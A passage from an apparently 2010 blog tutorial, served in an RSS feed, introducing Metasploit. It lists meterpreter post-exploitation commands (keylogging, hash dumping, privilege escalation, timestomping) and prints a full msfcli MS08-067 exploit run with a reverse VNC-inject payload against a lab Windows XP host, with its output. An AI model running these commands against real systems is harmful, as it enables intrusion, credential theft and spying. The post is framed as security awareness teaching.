    keyscan_start  Start capturing keystrokes<br />
    keyscan_stop   Stop capturing keystrokes<br />
    screenshot     Grab a screenshot of the interactive desktop<br />
    setdesktop     Change the meterpreters current desktop<br />
    uictl          Control some of the user interface components</p>
<p>Priv: Elevate Commands<br />
======================</p>
<p>    Command       Description<br />
    &#8212;&#8212;-       &#8212;&#8212;&#8212;&#8211;<br />
    getsystem     Attempt to elevate your privilege to that of local system.</p>
<p>Priv: Password database Commands<br />
================================</p>
<p>    Command       Description<br />
    &#8212;&#8212;-       &#8212;&#8212;&#8212;&#8211;<br />
    hashdump      Dumps the contents of the SAM database</p>
<p>Priv: Timestomp Commands<br />
========================</p>
<p>    Command       Description<br />
    &#8212;&#8212;-       &#8212;&#8212;&#8212;&#8211;<br />
    timestomp     Manipulate file MACE attributes</p>
<p>meterpreter >  pwd<br />
C:\WINDOWS\system32<br />
meterpreter > cd ..<br />
meterpreter > cd ..<br />
meterpreter > pwd<br />
C:\<br />
meterpreter >  ls</p>
<p>Listing: C:\<br />
============</p>
<p>Mode              Size       Type  Last modified              Name<br />
&#8212;-              &#8212;-       &#8212;-  &#8212;&#8212;&#8212;&#8212;-              &#8212;-<br />
40777/rwxrwxrwx   0          dir   2009-12-22 05:59:31 +1100  $AVG<br />
100777/rwxrwxrwx  0          fil   2009-12-22 05:39:51 +1100  AUTOEXEC.BAT<br />
100666/rw-rw-rw-  0          fil   2009-12-22 05:39:51 +1100  CONFIG.SYS<br />
40777/rwxrwxrwx   0          dir   2010-02-12 15:23:25 +1100  Documents and Settings<br />
100444/r&#8211;r&#8211;r&#8211;  0          fil   2009-12-22 05:39:51 +1100  IO.SYS<br />
40777/rwxrwxrwx   0          dir   2010-02-11 13:11:43 +1100  Inetpub<br />
100444/r&#8211;r&#8211;r&#8211;  0          fil   2009-12-22 05:39:51 +1100  MSDOS.SYS<br />
100555/r-xr-xr-x  47564      fil   2004-08-04 22:00:00 +1000  NTDETECT.COM<br />
40555/r-xr-xr-x   0          dir   2010-04-08 15:57:51 +1000  Program Files<br />
40777/rwxrwxrwx   0          dir   2010-04-09 13:14:56 +1000  RECYCLER<br />
40777/rwxrwxrwx   0          dir   2009-12-22 05:43:08 +1100  System Volume Information<br />
40777/rwxrwxrwx   0          dir   2010-04-09 13:18:19 +1000  WINDOWS<br />
100666/rw-rw-rw-  211        fil   2009-12-22 05:35:20 +1100  boot.ini<br />
100444/r&#8211;r&#8211;r&#8211;  250032     fil   2004-08-04 22:00:00 +1000  ntldr<br />
100666/rw-rw-rw-  301989888  fil   2010-06-01 02:21:17 +1000  pagefile.sys</p>
</blockquote>
<p>The power of the meterpreter is really only limited by your imagination. Keylogging, screen captures, adding accounts, dumping the hashes to be cracked offline&#8230;..</p>
<p>Now for a vnc injection.</p>
<blockquote><p>
# msfcli  exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/vncinject/reverse_tcp RHOST=192.168.56.101 LHOST=192.168.56.1 E<br />
[*] Please wait while we load the module tree&#8230;<br />
[*] Started reverse handler on 192.168.56.1:4444<br />
[*] Automatically detecting the target&#8230;<br />
[*] Fingerprint: Windows XP Service Pack 2 &#8211; lang:English<br />
[*] Selected Target: Windows XP SP2 English (NX)<br />
[*] Attempting to trigger the vulnerability&#8230;<br />
[*] Sending stage (445440 bytes) to 192.168.56.101<br />
[*] Starting local TCP relay on 127.0.0.1:5900&#8230;<br />
[*] Local TCP relay started.<br />
[*] Launched vnciewer in the background.<br />
Connected to RFB server, using protocol version 3.8<br />
Enabling TightVNC protocol extensions<br />
No authentication needed<br />
Authentication successful<br />
Desktop name &#8220;snipped&#8221;<br />
VNC server default format:<br />
  32 bits per pixel.<br />
  Least significant byte first in each pixel.<br />
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0<br />
Using default colormap which is TrueColor.  Pixel format:<br />
  32 bits per pixel.<br />
  Least significant byte first in each pixel.<br />
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0<br />
Same machine: preferring raw encoding<br />
[*] VNC Server session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1062)</p>
</blockquote>
<p>This should pop up a vnc session with full desktop control of your Windows XP SP2 Host. This is a good dramatic way to show people the power of metasploit and to reinforce the need for patching to your users.</p>
<p>I did a recent demonstration to a group of corporate helpdesk operators and they were quite surprised at just how easy it can be.</p>
<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://hackertarget.com/metasploit-3-4-0-on-ubuntu-10-04-a-quick-introduction/' addthis:title='Metasploit 3.4.0 on Ubuntu 10.04 a quick introduction' ><a class="addthis_button_facebook"></a><a class="addthis_button_twitter"></a><a class="addthis_button_delicious"></a><a class="addthis_button_reddit"></a><a class="addthis_button_compact"></a></div>]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/metasploit-3-4-0-on-ubuntu-10-04-a-quick-introduction/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Page Caching using disk: enhanced

Served from: www.hackertarget.com @ 2012-05-17 23:57:23 -->
